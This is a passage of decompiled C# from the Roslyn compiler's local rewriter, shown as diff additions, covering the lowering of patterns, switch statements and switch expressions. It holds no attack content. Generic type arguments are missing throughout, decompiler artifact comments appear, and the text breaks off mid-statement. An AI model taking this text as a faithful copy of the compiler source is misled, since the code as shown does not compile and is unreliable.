BoundExpression boundExpression = LowerEvaluation(evaluation); + _sideEffectBuilder.Add(boundExpression); + return; + } + BoundExpression boundExpression2 = LowerTest(test); + if (boundExpression2 != null) + { + if (invert) + { + boundExpression2 = _factory.Not(boundExpression2); + } + AddConjunct(boundExpression2); + } + } + + public BoundExpression LowerIsPatternAsLinearTestSequence(BoundIsPatternExpression isPatternExpression, BoundDecisionDag decisionDag, LabelSymbol whenTrueLabel, LabelSymbol whenFalseLabel) + { + BoundExpression loweredInput = _localRewriter.VisitExpression(isPatternExpression.Expression); + decisionDag = ShareTempsAndEvaluateInput(loweredInput, decisionDag, delegate(BoundExpression expr) + { + _sideEffectBuilder.Add(expr); + }, out var _); + BoundDecisionDagNode rootNode = decisionDag.RootNode; + return ProduceLinearTestSequence(rootNode, whenTrueLabel, whenFalseLabel); + } + + private BoundExpression ProduceLinearTestSequence(BoundDecisionDagNode node, LabelSymbol whenTrueLabel, LabelSymbol whenFalseLabel) + { + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + //IL_019f: Unknown result type (might be due to invalid IL or missing references) + while (node.Kind != BoundKind.LeafDecisionDagNode && node.Kind != BoundKind.WhenDecisionDagNode) + { + if (!(node is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (node is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + if (boundTestDecisionDagNode.WhenTrue is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode2 && TryLowerTypeTestAndCast(boundTestDecisionDagNode.Test, boundEvaluationDecisionDagNode2.Evaluation, out var sideEffect, out var testExpression)) + { + _sideEffectBuilder.Add(sideEffect); + AddConjunct(testExpression); + node = boundEvaluationDecisionDagNode2.Next; + } + else + { + bool flag = IsFailureNode(boundTestDecisionDagNode.WhenTrue, whenFalseLabel); + LowerOneTest(boundTestDecisionDagNode.Test, flag); + node = (flag ? boundTestDecisionDagNode.WhenFalse : boundTestDecisionDagNode.WhenTrue); + } + } + } + else + { + LowerOneTest(boundEvaluationDecisionDagNode.Evaluation); + node = boundEvaluationDecisionDagNode.Next; + } + } + if (!(node is BoundLeafDecisionDagNode)) + { + if (!(node is BoundWhenDecisionDagNode { Bindings: var bindings })) + { + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + ImmutableArray.Enumerator enumerator = bindings.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundPatternBinding current = enumerator.Current; + BoundExpression boundExpression = _localRewriter.VisitExpression(current.VariableAccess); + BoundExpression temp = _tempAllocator.GetTemp(current.TempContainingValue); + if (boundExpression != temp) + { + _sideEffectBuilder.Add(_factory.AssignmentExpression(boundExpression, temp)); + } + } + } + if (_sideEffectBuilder.Count > 0 || _conjunctBuilder.Count == 0) + { + AddConjunct(_factory.Literal(value: true)); + } + BoundExpression boundExpression2 = null; + Enumerator enumerator2 = _conjunctBuilder.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundExpression current2 = enumerator2.Current; + boundExpression2 = ((boundExpression2 == null) ? current2 : _factory.LogicalAnd(boundExpression2, current2)); + } + _conjunctBuilder.Clear(); + ImmutableArray locals = _tempAllocator.AllTemps(); + if (locals.Length > 0) + { + boundExpression2 = _factory.Sequence(locals, ImmutableArray.Empty, boundExpression2); + } + return boundExpression2; + } + } + + private sealed class SwitchStatementLocalRewriter : BaseSwitchLocalRewriter + { + private readonly Dictionary _sectionLabels = (Dictionary)(object)PooledDictionary.GetInstance(); + + public static BoundStatement Rewrite(LocalRewriter localRewriter, BoundSwitchStatement node) + { + SwitchStatementLocalRewriter switchStatementLocalRewriter = new SwitchStatementLocalRewriter(node, localRewriter); + BoundStatement result = switchStatementLocalRewriter.LowerSwitchStatement(node); + switchStatementLocalRewriter.Free(); + return result; + } + + protected override LabelSymbol GetDagNodeLabel(BoundDecisionDagNode dag) + { + LabelSymbol dagNodeLabel = base.GetDagNodeLabel(dag); + if (dag is BoundLeafDecisionDagNode boundLeafDecisionDagNode) + { + SyntaxNode parent = boundLeafDecisionDagNode.Syntax.Parent; + if (parent != null && parent.Kind() == SyntaxKind.SwitchSection) + { + if (_sectionLabels.TryGetValue(parent, out LabelSymbol value)) + { + return value; + } + _sectionLabels.Add(parent, dagNodeLabel); + } + } + return dagNodeLabel; + } + + private SwitchStatementLocalRewriter(BoundSwitchStatement node, LocalRewriter localRewriter) + : base(node.Syntax, localRewriter, ImmutableArrayExtensions.SelectAsArray(node.SwitchSections, (Func)((BoundSwitchSection section) => section.Syntax)), localRewriter.Instrument && !node.WasCompilerGenerated) + { + } + + private BoundStatement LowerSwitchStatement(BoundSwitchStatement node) + { + _factory.Syntax = node.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BoundExpression boundExpression = _localRewriter.VisitExpression(node.Expression); + if (!node.WasCompilerGenerated && _localRewriter.Instrument) + { + BoundExpression boundExpression2 = _localRewriter.Instrumenter.InstrumentSwitchStatementExpression(node, boundExpression, _factory); + if (boundExpression.ConstantValueOpt == (ConstantValue)null) + { + boundExpression = boundExpression2; + } + else + { + instance.Add((BoundStatement)_factory.ExpressionStatement(boundExpression2)); + } + } + instance2.AddRange(node.InnerLocals); + BoundExpression savedInputExpression; + BoundDecisionDag decisionDag = ShareTempsIfPossibleAndEvaluateInput(node.GetDecisionDagForLowering(_factory.Compilation), boundExpression, instance, out savedInputExpression); + if (base.GenerateInstrumentation) + { + if (instance.Count == 0) + { + instance.Add(_factory.NoOp(NoOpStatementFlavor.Default)); + } + instance.Add(_factory.HiddenSequencePoint()); + } + var (statements, immutableDictionary) = LowerDecisionDag(decisionDag); + if ((object)_whenNodeIdentifierLocal != null) + { + instance2.Add(_whenNodeIdentifierLocal); + } + instance.Add((BoundStatement)_factory.Block(statements)); + ImmutableArray.Enumerator enumerator = node.SwitchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchSection current = enumerator.Current; + _factory.Syntax = current.Syntax; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + instance3.AddRange(immutableDictionary[current.Syntax]); + ImmutableArray.Enumerator enumerator2 = current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current2 = enumerator2.Current; + instance3.Add((BoundStatement)_factory.Label(current2.Label)); + } + instance3.AddRange(_localRewriter.VisitList(current.Statements)); + ImmutableArray statements2 = instance3.ToImmutableAndFree(); + if (current.Locals.IsEmpty) + { + instance.Add((BoundStatement)_factory.StatementList(statements2)); + continue; + } + instance2.AddRange(current.Locals); + instance.Add((BoundStatement)new BoundScope(current.Syntax, current.Locals, statements2)); + } + instance2.AddRange(_tempAllocator.AllTemps()); + _factory.Syntax = node.Syntax; + if (base.GenerateInstrumentation) + { + instance.Add(_factory.HiddenSequencePoint()); + } + instance.Add((BoundStatement)_factory.Label(node.BreakLabel)); + BoundStatement boundStatement = _factory.Block(instance2.ToImmutableAndFree(), node.InnerLocalFunctions, instance.ToImmutableAndFree()); + if (base.GenerateInstrumentation) + { + boundStatement = _localRewriter.Instrumenter.InstrumentSwitchStatement(node, boundStatement); + } + return boundStatement; + } + } + + private readonly struct InterpolationHandlerResult + { + private readonly ImmutableArray _statements; + + private readonly ImmutableArray _expressions; + + private readonly LocalRewriter _rewriter; + + private readonly LocalSymbol? _outTemp; + + public readonly BoundLocal HandlerTemp; + + public InterpolationHandlerResult(ImmutableArray statements, BoundLocal handlerTemp, LocalSymbol outTemp, LocalRewriter rewriter) + { + _statements = statements; + _expressions = default(ImmutableArray); + _outTemp = outTemp; + HandlerTemp = handlerTemp; + _rewriter = rewriter; + } + + public InterpolationHandlerResult(ImmutableArray expressions, BoundLocal handlerTemp, LocalSymbol? outTemp, LocalRewriter rewriter) + { + _statements = default(ImmutableArray); + _expressions = expressions; + _outTemp = outTemp; + HandlerTemp = handlerTemp; + _rewriter = rewriter; + } + + public BoundExpression WithFinalResult(BoundExpression result) + { + ImmutableArray locals = ((_outTemp != null) ? ImmutableArray.Create(HandlerTemp.LocalSymbol, _outTemp) : ImmutableArray.Create(HandlerTemp.LocalSymbol)); + if (_statements.IsDefault) + { + return _rewriter._factory.Sequence(locals, _expressions, result); + } + _rewriter._needsSpilling = true; + return _rewriter._factory.SpillSequence(locals, _statements, result); + } + } + + private sealed class SwitchExpressionLocalRewriter : BaseSwitchLocalRewriter + { + private SwitchExpressionLocalRewriter(BoundConvertedSwitchExpression node, LocalRewriter localRewriter) + : base(node.Syntax, localRewriter, ImmutableArrayExtensions.SelectAsArray(node.SwitchArms, (Func)((BoundSwitchExpressionArm arm) => arm.Syntax)), !node.WasCompilerGenerated && localRewriter.Instrument) + { + } + + public static BoundExpression Rewrite(LocalRewriter localRewriter, BoundConvertedSwitchExpression node) + { + SwitchExpressionLocalRewriter switchExpressionLocalRewriter = new SwitchExpressionLocalRewriter(node, localRewriter); + BoundExpression result = switchExpressionLocalRewriter.LowerSwitchExpression(node); + switchExpressionLocalRewriter.Free(); + return result; + } + + private BoundExpression LowerSwitchExpression(BoundConvertedSwitchExpression node) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + bool flag = base.GenerateInstrumentation && (int)((CompilationOptions)_localRewriter._compilation.Options).OptimizationLevel != 1; + _factory.Syntax = node.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BoundExpression loweredSwitchGoverningExpression = _localRewriter.VisitExpression(node.Expression); + LabelSymbol defaultLabel; + BoundExpression savedInputExpression; + BoundDecisionDag decisionDag = ShareTempsIfPossibleAndEvaluateInput(node.GetDecisionDagForLowering(_factory.Compilation, out defaultLabel), loweredSwitchGoverningExpression, instance, out savedInputExpression); + object identifier = new object(); + object identifier2 = new object(); + var (statements, immutableDictionary) = LowerDecisionDag(decisionDag); + if ((object)_whenNodeIdentifierLocal != null) + { + instance2.Add(_whenNodeIdentifierLocal); + } + if (flag) + { + SwitchExpressionSyntax switchExpressionSyntax = (SwitchExpressionSyntax)(object)node.Syntax; + instance.Add((BoundStatement)new BoundSavePreviousSequencePoint((SyntaxNode)(object)switchExpressionSyntax, identifier)); + SyntaxToken switchKeyword = switchExpressionSyntax.SwitchKeyword; + TextSpan span = ((SyntaxToken)(ref switchKeyword)).Span; + int start = ((TextSpan)(ref span)).Start; + span = ((SyntaxNode)switchExpressionSyntax).Span; + int end = ((TextSpan)(ref span)).End; + TextSpan span2 = default(TextSpan); + ((TextSpan)(ref span2))._002Ector(start, end - start); + instance.Add((BoundStatement)new BoundStepThroughSequencePoint(node.Syntax, span2)); + instance.Add((BoundStatement)new BoundSavePreviousSequencePoint((SyntaxNode)(object)switchExpressionSyntax, identifier2)); + } + instance.Add((BoundStatement)_factory.Block(statements)); + LocalSymbol localSymbol = _factory.SynthesizedLocal(node.Type, node.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LabelSymbol label = _factory.GenerateLabel("afterSwitchExpression"); + ImmutableArray.Enumerator enumerator = node.SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + _factory.Syntax = current.Syntax; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + instance3.AddRange(immutableDictionary[current.Syntax]); + instance3.Add((BoundStatement)_factory.Label(current.Label)); + BoundExpression boundExpression = _localRewriter.VisitExpression(current.Value); + if (base.GenerateInstrumentation) + { + boundExpression = _localRewriter.Instrumenter.InstrumentSwitchExpressionArmExpression(current.Value, boundExpression, _factory); + } + instance3.Add((BoundStatement)_factory.Assignment(_factory.Local(localSymbol), boundExpression)); + instance3.Add((BoundStatement)_factory.Goto(label)); + ImmutableArray statements2 = instance3.ToImmutableAndFree(); + if (current.Locals.IsEmpty) + { + instance.Add((BoundStatement)_factory.StatementList(statements2)); + continue; + } + instance2.AddRange(current.Locals); + instance.Add((BoundStatement)new BoundScope(current.Syntax, current.Locals, statements2)); + } + _factory.Syntax = node.Syntax; + if ((object)defaultLabel != null) + { + instance.Add((BoundStatement)_factory.Label(defaultLabel)); + if (flag) + { + instance.Add((BoundStatement)new BoundRestorePreviousSequencePoint(node.Syntax, identifier2)); + } + NamedTypeSymbol type = _factory.SpecialType((SpecialType)1); + BoundStatement boundStatement = ((implicitConversionExists(savedInputExpression, type) && _factory.WellKnownMember((WellKnownMember)456, isOptional: true) is MethodSymbol) ? ConstructThrowSwitchExpressionExceptionHelperCall(_factory, _factory.Convert(type, savedInputExpression)) : ((_factory.WellKnownMember((WellKnownMember)455, isOptional: true) is MethodSymbol) ? ConstructThrowSwitchExpressionExceptionParameterlessHelperCall(_factory) : ConstructThrowInvalidOperationExceptionHelperCall(_factory))); + instance.Add(boundStatement); + } + if (base.GenerateInstrumentation) + { + instance.Add(_factory.HiddenSequencePoint()); + } + instance.Add((BoundStatement)_factory.Label(label)); + if (flag) + { + instance.Add((BoundStatement)new BoundRestorePreviousSequencePoint(node.Syntax, identifier)); + } + instance2.Add(localSymbol); + instance2.AddRange(_tempAllocator.AllTemps()); + return _factory.SpillSequence(instance2.ToImmutableAndFree(), instance.ToImmutableAndFree(), _factory.Local(localSymbol)); + bool implicitConversionExists(BoundExpression expression, TypeSymbol destination) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return _localRewriter._compilation.Conversions.ClassifyConversionFromExpression(expression, destination, isChecked: false, ref useSiteInfo).IsImplicit; + } + } + + private static BoundStatement ConstructThrowSwitchExpressionExceptionHelperCall(SyntheticBoundNodeFactory factory, BoundExpression unmatchedValue) + { + PEModuleBuilder? moduleBuilderOpt = factory.ModuleBuilderOpt; + CSharpSyntaxNode nonNullSyntaxNode = factory.CurrentFunction.GetNonNullSyntaxNode(); + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)factory.Diagnostics).DiagnosticBag; + MethodSymbol method = moduleBuilderOpt.EnsureThrowSwitchExpressionExceptionExists((SyntaxNode)(object)nonNullSyntaxNode, factory, diagnosticBag); + BoundCall expr = factory.Call(null, method, unmatchedValue); + return factory.HiddenSequencePoint(factory.ExpressionStatement(expr)); + } + + private static BoundStatement ConstructThrowSwitchExpressionExceptionParameterlessHelperCall(SyntheticBoundNodeFactory factory) + { + PEModuleBuilder? moduleBuilderOpt = factory.ModuleBuilderOpt; + CSharpSyntaxNode nonNullSyntaxNode = factory.CurrentFunction.GetNonNullSyntaxNode(); + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)factory.Diagnostics).DiagnosticBag; + MethodSymbol method = moduleBuilderOpt.EnsureThrowSwitchExpressionExceptionParameterlessExists((SyntaxNode)(object)nonNullSyntaxNode, factory, diagnosticBag); + BoundCall expr = factory.Call(null, method); + return factory.HiddenSequencePoint(factory.ExpressionStatement(expr)); + } + + private static BoundStatement ConstructThrowInvalidOperationExceptionHelperCall(SyntheticBoundNodeFactory factory) + { + PEModuleBuilder? moduleBuilderOpt = factory.ModuleBuilderOpt; + CSharpSyntaxNode nonNullSyntaxNode = factory.CurrentFunction.GetNonNullSyntaxNode(); + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)factory.Diagnostics).DiagnosticBag; + MethodSymbol method = moduleBuilderOpt.EnsureThrowInvalidOperationExceptionExists((SyntaxNode)(object)nonNullSyntaxNode, factory, diagnosticBag); + BoundCall expr = factory.Call(null, method); + return factory.HiddenSequencePoint(factory.ExpressionStatement(expr)); + } + } + + private readonly CSharpCompilation _compilation; + + private readonly SyntheticBoundNodeFactory _factory; + + private readonly SynthesizedSubmissionFields _previousSubmissionFields; + + private readonly bool _allowOmissionOfConditionalCalls; + + private LoweredDynamicOperationFactory _dynamicFactory; + + private bool _sawLambdas; + + private int _availableLocalFunctionOrdinal; + + private readonly int _topLevelMethodOrdinal; + + private DelegateCacheRewriter? _lazyDelegateCacheRewriter; + + private bool _inExpressionLambda; + + private ArrayBuilder? _additionalLocals; + + private BoundBlock? _currentLambdaBody; + + private bool _sawAwait; + + private bool _sawAwaitInExceptionHandler; + + private bool _needsSpilling; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly BoundStatement _rootStatement; + + private Dictionary? _placeholderReplacementMapDoNotUseDirectly; + + private BoundExpression? _currentConditionalAccessTarget; + + private int _currentConditionalAccessID; + + private Dictionary>? _lazyUnmatchedLabelCache; + + private static readonly AwaitDebugId s_moveNextAsyncAwaitId = new AwaitDebugId((byte)0); + + private static readonly AwaitDebugId s_disposeAsyncAwaitId = new AwaitDebugId((byte)1); + + internal SyntheticBoundNodeFactory Factory => _factory; + + internal BoundBlock? CurrentLambdaBody => _currentLambdaBody; + + internal BoundStatement CurrentMethodBody => _rootStatement; + + private InstrumentationState InstrumentationState => _factory.InstrumentationState; + + private bool Instrument => !InstrumentationState.IsSuppressed; + + private Instrumenter Instrumenter => InstrumentationState.Instrumenter; + + private PEModuleBuilder? EmitModule => _factory.CompilationState.ModuleBuilderOpt; + + private bool IsLambdaOrExpressionBodiedMember + { + get + { + MethodSymbol currentFunction = _factory.CurrentFunction; + if (currentFunction is LambdaSymbol) + { + return true; + } + return (currentFunction as SourceMemberMethodSymbol)?.IsExpressionBodied ?? (currentFunction as LocalFunctionSymbol)?.IsExpressionBodied ?? false; + } + } + + private LocalRewriter(CSharpCompilation compilation, MethodSymbol containingMethod, int containingMethodOrdinal, BoundStatement rootStatement, NamedTypeSymbol? containingType, SyntheticBoundNodeFactory factory, SynthesizedSubmissionFields previousSubmissionFields, bool allowOmissionOfConditionalCalls, BindingDiagnosticBag diagnostics) + { + _compilation = compilation; + _factory = factory; + _factory.CurrentFunction = containingMethod; + _dynamicFactory = new LoweredDynamicOperationFactory(factory, containingMethodOrdinal); + _previousSubmissionFields = previousSubmissionFields; + _allowOmissionOfConditionalCalls = allowOmissionOfConditionalCalls; + _topLevelMethodOrdinal = containingMethodOrdinal; + _diagnostics = diagnostics; + _rootStatement = rootStatement; + } + + public static BoundStatement Rewrite(CSharpCompilation compilation, MethodSymbol method, int methodOrdinal, NamedTypeSymbol containingType, BoundStatement statement, TypeCompilationState compilationState, SynthesizedSubmissionFields previousSubmissionFields, bool allowOmissionOfConditionalCalls, MethodInstrumentation instrumentation, DebugDocumentProvider debugDocumentProvider, BindingDiagnosticBag diagnostics, out ImmutableArray codeCoverageSpans, out bool sawLambdas, out bool sawLocalFunctions, out bool sawAwaitInExceptionHandler) + { + try + { + InstrumentationState instrumentationState = new InstrumentationState(); + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(method, statement.Syntax, compilationState, diagnostics, instrumentationState); + Instrumenter previous = Microsoft.CodeAnalysis.CSharp.Instrumenter.NoOp; + if (((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)(-1)) && LocalStateTracingInstrumenter.TryCreate(method, statement, syntheticBoundNodeFactory, diagnostics, previous, out LocalStateTracingInstrumenter instrumenter)) + { + previous = instrumenter; + } + CodeCoverageInstrumenter instrumenter2 = null; + if (((MethodInstrumentation)(ref instrumentation)).Kinds.Contains((InstrumentationKind)1) && CodeCoverageInstrumenter.TryCreate(method, statement, syntheticBoundNodeFactory, diagnostics, debugDocumentProvider, previous, out instrumenter2)) + { + previous = instrumenter2; + } + instrumentationState.Instrumenter = DebugInfoInjector.Create(previous); + LocalRewriter localRewriter = new LocalRewriter(compilation, method, methodOrdinal, statement, containingType, syntheticBoundNodeFactory, previousSubmissionFields, allowOmissionOfConditionalCalls, diagnostics); + BoundStatement boundStatement = localRewriter.VisitStatement(statement); + sawLambdas = localRewriter._sawLambdas; + sawLocalFunctions = localRewriter._availableLocalFunctionOrdinal != 0; + sawAwaitInExceptionHandler = localRewriter._sawAwaitInExceptionHandler; + if (localRewriter._needsSpilling && !boundStatement.HasErrors) + { + boundStatement = SpillSequenceSpiller.Rewrite(boundStatement, method, compilationState, diagnostics); + } + codeCoverageSpans = instrumenter2?.DynamicAnalysisSpans ?? ImmutableArray.Empty; + return boundStatement; + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + sawLambdas = (sawLocalFunctions = (sawAwaitInExceptionHandler = false)); + codeCoverageSpans = ImmutableArray.Empty; + return new BoundBadStatement(statement.Syntax, ImmutableArray.Create((BoundNode)statement), hasErrors: true); + } + } + + public override BoundNode? Visit(BoundNode? node) + { + if (node == null) + { + return node; + } + if (node is BoundExpression node2) + { + return VisitExpressionImpl(node2); + } + return node.Accept(this); + } + + [return: NotNullIfNotNull("node")] + private BoundExpression? VisitExpression(BoundExpression? node) + { + if (node == null) + { + return node; + } + return VisitExpressionImpl(node); + } + + private BoundStatement? VisitStatement(BoundStatement? node) + { + if (node == null) + { + return node; + } + return (BoundStatement)node.Accept(this); + } + + private BoundExpression? VisitExpressionImpl(BoundExpression node) + { + if (node is BoundNameOfOperator boundNameOfOperator) + { + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)((InvocationExpressionSyntax)(object)boundNameOfOperator.Syntax).Expression; + if (_compilation.TryGetInterceptor(((SyntaxNode)identifierNameSyntax).Location).HasValue) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorCannotInterceptNameof, ((SyntaxNode)identifierNameSyntax).Location); + } + } + ConstantValue constantValueOpt = node.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + TypeSymbol type = node.Type; + if ((object)type == null || !type.IsNullableType()) + { + return MakeLiteral(node.Syntax, constantValueOpt, type); + } + } + BoundExpression boundExpression = VisitExpressionWithStackGuard(node); + bool flag = boundExpression != null && boundExpression != node; + if (flag) + { + BoundKind kind = node.Kind; + bool flag2 = ((kind == BoundKind.ValuePlaceholder || kind == BoundKind.ObjectOrCollectionValuePlaceholder || kind == BoundKind.ImplicitReceiver) ? true : false); + flag = !flag2; + } + if (flag && !CanBePassedByReference(node) && CanBePassedByReference(boundExpression)) + { + boundExpression = RefAccessMustMakeCopy(boundExpression); + } + return boundExpression; + } + + private static BoundExpression RefAccessMustMakeCopy(BoundExpression visited) + { + visited = new BoundPassByCopy(visited.Syntax, visited, visited.Type); + return visited; + } + + private static bool IsUnusedDeconstruction(BoundExpression node) + { + if (node.Kind == BoundKind.DeconstructionAssignmentOperator) + { + return !((BoundDeconstructionAssignmentOperator)node).IsUsed; + } + return false; + } + + public override BoundNode? VisitParameter(BoundParameter node) + { + if (node.ParameterSymbol.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor && synthesizedPrimaryConstructor.GetCapturedParameters().TryGetValue(node.ParameterSymbol, out FieldSymbol value)) + { + return new BoundFieldAccess(node.Syntax, new BoundThisReference(node.Syntax, synthesizedPrimaryConstructor.ContainingType), value, null, LookupResultKind.Viable, node.Type); + } + return base.VisitParameter(node); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + _sawLambdas = true; + LambdaSymbol symbol = node.Symbol; + CheckRefReadOnlySymbols(symbol); + MethodSymbol currentFunction = _factory.CurrentFunction; + Instrumenter instrumenter = InstrumentationState.Instrumenter; + BoundBlock currentLambdaBody = _currentLambdaBody; + ArrayBuilder additionalLocals = _additionalLocals; + try + { + _currentLambdaBody = node.Body; + _additionalLocals = null; + _factory.CurrentFunction = symbol; + if (symbol.IsDirectlyExcludedFromCodeCoverage) + { + InstrumentationState.RemoveCodeCoverageInstrumenter(); + } + return base.VisitLambda(node); + } + finally + { + _factory.CurrentFunction = currentFunction; + InstrumentationState.Instrumenter = instrumenter; + _currentLambdaBody = currentLambdaBody; + _additionalLocals = additionalLocals; + } + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + int localFunctionOrdinal = _availableLocalFunctionOrdinal++; + LocalFunctionSymbol symbol = node.Symbol; + CheckRefReadOnlySymbols(symbol); + PEModuleBuilder moduleBuilderOpt = _factory.CompilationState.ModuleBuilderOpt; + if (moduleBuilderOpt != null) + { + ImmutableArray typeParameters = symbol.TypeParameters; + if (typeParameters.Any((TypeParameterSymbol typeParameter) => typeParameter.HasUnmanagedTypeConstraint)) + { + moduleBuilderOpt.EnsureIsUnmanagedAttributeExists(); + } + if (_compilation.ShouldEmitNativeIntegerAttributes() && (hasReturnTypeOrParameter(symbol, (TypeWithAnnotations t) => t.ContainsNativeIntegerWrapperType()) || typeParameters.Any((TypeParameterSymbol t) => t.ConstraintTypesNoUseSiteDiagnostics.Any((TypeWithAnnotations type) => type.ContainsNativeIntegerWrapperType())))) + { + moduleBuilderOpt.EnsureNativeIntegerAttributeExists(); + } + if (_factory.CompilationState.Compilation.ShouldEmitNullableAttributes(symbol) && (typeParameters.Any((TypeParameterSymbol typeParameter) => ((SourceTypeParameterSymbolBase)typeParameter).ConstraintsNeedNullableAttribute()) || hasReturnTypeOrParameter(symbol, (TypeWithAnnotations t) => t.NeedsNullableAttribute()))) + { + moduleBuilderOpt.EnsureNullableAttributeExists(); + } + } + MethodSymbol currentFunction = _factory.CurrentFunction; + Instrumenter instrumenter = InstrumentationState.Instrumenter; + LoweredDynamicOperationFactory dynamicFactory = _dynamicFactory; + BoundBlock currentLambdaBody = _currentLambdaBody; + ArrayBuilder additionalLocals = _additionalLocals; + try + { + _currentLambdaBody = node.Body; + _additionalLocals = null; + _factory.CurrentFunction = symbol; + if (symbol.IsDirectlyExcludedFromCodeCoverage) + { + InstrumentationState.RemoveCodeCoverageInstrumenter(); + } + if (symbol.IsGenericMethod) + { + _dynamicFactory = new LoweredDynamicOperationFactory(_factory, _dynamicFactory.MethodOrdinal, localFunctionOrdinal); + } + return base.VisitLocalFunctionStatement(node); + } + finally + { + _factory.CurrentFunction = currentFunction; + InstrumentationState.Instrumenter = instrumenter; + _dynamicFactory = dynamicFactory; + _currentLambdaBody = currentLambdaBody; + _additionalLocals = additionalLocals; + } + static bool hasReturnTypeOrParameter(LocalFunctionSymbol localFunction, Func predicate) + { + if (!predicate(localFunction.ReturnTypeWithAnnotations)) + { + return localFunction.ParameterTypesWithAnnotations.Any(predicate); + } + return true; + } + } + + public override BoundNode VisitDefaultLiteral(BoundDefaultLiteral node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter.cs", 415); + } + + public override BoundNode VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter.cs", 420); + } + + public override BoundNode VisitValuePlaceholder(BoundValuePlaceholder node) + { + return PlaceholderReplacement(node); + } + + public override BoundNode VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + return PlaceholderReplacement(node); + } + + public override BoundNode VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + if (_inExpressionLambda) + { + return node; + } + return PlaceholderReplacement(node); + } + + public override BoundNode VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + return PlaceholderReplacement(node); + } + + public override BoundNode? VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + return PlaceholderReplacement(node); + } + + public override BoundNode? VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node) + { + return PlaceholderReplacement(node); + } + + private BoundExpression PlaceholderReplacement(BoundValuePlaceholderBase placeholder) + { + return _placeholderReplacementMapDoNotUseDirectly[placeholder]; + } + + [Conditional("DEBUG")] + private static void AssertPlaceholderReplacement(BoundValuePlaceholderBase placeholder, BoundExpression value) + { + } + + private void AddPlaceholderReplacement(BoundValuePlaceholderBase placeholder, BoundExpression value) + { + if (_placeholderReplacementMapDoNotUseDirectly == null) + { + _placeholderReplacementMapDoNotUseDirectly = new Dictionary(); + } + _placeholderReplacementMapDoNotUseDirectly.Add(placeholder, value); + } + + private void RemovePlaceholderReplacement(BoundValuePlaceholderBase placeholder) + { + _placeholderReplacementMapDoNotUseDirectly.Remove(placeholder); + } + + public sealed override BoundNode VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter.cs", 517); + } + + public override BoundNode VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter.cs", 523); + } + + public override BoundNode VisitBadExpression(BoundBadExpression node) + { + return node; + } + + private static BoundExpression BadExpression(BoundExpression node) + { + return BadExpression(node.Syntax, node.Type, ImmutableArray.Create(node)); + } + + private static BoundExpression BadExpression(SyntaxNode syntax, TypeSymbol resultType, BoundExpression child) + { + return BadExpression(syntax, resultType, ImmutableArray.Create(child)); + } + + private static BoundExpression BadExpression(SyntaxNode syntax, TypeSymbol resultType, BoundExpression child1, BoundExpression child2) + { + return BadExpression(syntax, resultType, ImmutableArray.Create(child1, child2)); + } + + private static BoundExpression BadExpression(SyntaxNode syntax, TypeSymbol resultType, ImmutableArray children) + { + return new 